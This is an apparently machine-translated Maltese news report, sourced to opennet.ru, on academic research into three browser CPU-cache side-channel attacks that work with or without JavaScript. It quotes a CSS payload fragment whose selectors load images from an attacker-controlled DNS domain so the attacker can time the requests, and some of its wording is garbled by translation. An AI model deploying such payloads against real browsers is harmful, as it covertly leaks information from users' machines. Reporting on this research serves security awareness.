Attakk ta' estrazzjoni tal-cache tas-CPU implimentat f'web browser mingħajr JavaScript

Tim ta’ riċerkaturi minn diversi universitajiet Amerikani, Iżraeljani u Awstraljani żviluppa tliet attakki li jaħdmu fuq web browsers biex jiġbed informazzjoni dwar il-kontenut tal-cache tal-proċessur. Metodu wieħed jaħdem fil-brawżers mingħajr JavaScript, u ​​t-tnejn l-oħra jevitaw metodi eżistenti ta 'protezzjoni kontra attakki tal-kanal laterali, inklużi dawk użati fil-browser Tor u DeterFox. Il-kodiċi biex jintwerew l-attakki, kif ukoll il-komponenti tas-server meħtieġa għall-attakki, huma ppubblikati fuq GitHub.

Biex tanalizza l-kontenut tal-cache, l-attakki kollha jużaw il-metodu Prime + Probe, li jinvolvi l-mili tal-cache b'sett standard ta 'valuri u jiskopru bidliet billi jkejjel il-ħin ta' aċċess għalihom meta jimtlewhom mill-ġdid. Biex taqbeż il-mekkaniżmi tas-sigurtà preżenti fil-browsers li jinterferixxu mal-kejl preċiż tal-ħin, f'żewġ għażliet, isir appell lil server DNS jew WebSocket ikkontrollat ​​mill-attakkant, li jżomm log tal-ħin tat-talbiet riċevuti. F'inkarnazzjoni waħda, ħin ta' rispons DNS fiss jintuża bħala referenza tal-ħin.

Il-kejl magħmul bl-użu ta’ servers DNS esterni jew WebSocket, bl-użu ta’ sistema ta’ klassifikazzjoni bbażata fuq it-tagħlim tal-magni, kien biżżejjed biex ibassar valuri b’eżattezza sa 98% fl-iktar xenarju ottimali (medja 80-90%). Il-metodi ta 'attakk ġew ittestjati fuq diversi pjattaformi ta' hardware (Intel, AMD Ryzen, Apple M1, Samsung Exynos) u wrew li huma universali.

Attakk ta' estrazzjoni tal-cache tas-CPU implimentat f'web browser mingħajr JavaScript

L-ewwel varjant tal-attakk DNS Racing juża implimentazzjoni klassika tal-metodu Prime + Probe li juża arrays JavaScript. Id-differenzi jitnaqqsu għall-użu ta 'timer estern ibbażat fuq DNS u onerror handler, li jiġi attivat meta jsir tentattiv biex titgħabba immaġini minn dominju ineżistenti. Timer estern jippermetti attakk Prime+Probe fuq browsers li jillimitaw jew jiskonnettjaw kompletament l-aċċess għat-tajmers JavaScript.

Għal server DNS li jinsab fuq l-istess netwerk Ethernet, l-eżattezza tat-tajmer hija stmata li tkun bejn wieħed u ieħor 2 ms, li hija biżżejjed biex twettaq attakk fuq il-kanal tal-ġenb (għal tqabbil, l-eżattezza tat-timer standard JavaScript f'Tor Browser hija imnaqqas għal 100 ms). Għall-attakk, il-kontroll fuq is-server DNS mhuwiex meħtieġ, peress li l-ħin tal-eżekuzzjoni tal-operazzjoni jintgħażel sabiex il-ħin tar-rispons mid-DNS iservi bħala sinjal ta' tlestija aktar bikrija tal-kontroll (skond jekk l-onerror handler kienx attivat. aktar kmieni jew aktar tard, tinġibed konklużjoni dwar il-veloċità tal-operazzjoni tal-verifika bil-cache).

It-tieni metodu ta 'attakk, "String and Sock", għandu l-għan li jevita tekniki ta' sigurtà li jirrestrinġu l-użu ta 'livell baxx ta' arrays f'JavaScript. Minflok arrays, String u Sock juża operazzjonijiet fuq kordi kbar ħafna, li d-daqs tagħhom jintgħażel sabiex il-varjabbli tkopri l-cache LLC kollu (Last level cache). Sussegwentement, bl-użu tal-funzjoni indexOf(), tiġi mfittxija substring żgħira fis-sekwenza, li inizjalment hija nieqsa fis-sekwenza tas-sors, i.e. l-operazzjoni tat-tfittxija tirriżulta f'iterazzjoni fuq is-sekwenza kollha. Peress li d-daqs tal-linja jikkorrispondi għad-daqs tal-cache LLC, l-iskannjar jippermettilek li twettaq operazzjoni ta 'kontroll tal-cache mingħajr ma timmanipula l-arrays. Biex jitkejjel id-dewmien, minflok id-DNS, issir sejħa lil server WebSocket ikkontrollat ​​mill-attakkant - qabel u wara li titlesta l-operazzjoni tat-tfittxija, jintbagħtu mistoqsijiet fil-linja, li fuqha s-server jikkalkula d-dewmien użat biex janalizza l-cache. kontenuti.

It-tielet varjant tal-attakk "CSS PP0" huwa implimentat permezz ta 'HTML u CSS, u jista' jaħdem fil-browsers b'JavaScript diżattivat. Il-metodu huwa simili għal "String and Sock", iżda mhuwiex marbut ma' JavaScript. Matul l-attakk, sett ta 'seletturi CSS huwa ġġenerat li jfittxu bil-maskra. Is-sekwenza kbira inizjali li timla l-cache hija stabbilita billi tinħoloq tikketta div b'isem ta 'klassi kbir ħafna. Ġewwa hemm sett ta 'divs oħra bl-identifikaturi tagħhom stess. Kull wieħed minn dawn divs nested għandu l-istil tiegħu stess b'selettur li jfittex substring. Meta tirrendi paġna, il-browser l-ewwel jipprova jipproċessa d-divs ta 'ġewwa, li jirriżulta f'operazzjoni ta' tfittxija fuq ringiela kbira. It-tfittxija titwettaq bl-użu ta 'maskra nieqsa deliberatament u twassal għal iterazzjoni fuq il-linja kollha, u wara tiġi attivata l-kundizzjoni "mhux" u jsir tentattiv biex titgħabba immaġni ta' sfond li tirreferi oqsma każwali: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Is-sottodominji huma moqdija mis-server DNS tal-attakkant, li jista 'jkejjel id-dewmien biex jirċievi t-talbiet. Is-server DNS joħroġ NXDOMAIN għat-talbiet kollha u jżomm reġistru tal-ħin eżatt tat-talbiet. Bħala riżultat tal-ipproċessar ta 'sett ta' divs, is-server DNS tal-attakkant jirċievi serje ta 'talbiet, li d-dewmien bejniethom jikkorrelata mar-riżultat tal-iċċekkjar tal-kontenut tal-cache.

Attakk ta' estrazzjoni tal-cache tas-CPU implimentat f'web browser mingħajr JavaScript


Sors: opennet.ru

Żid kumment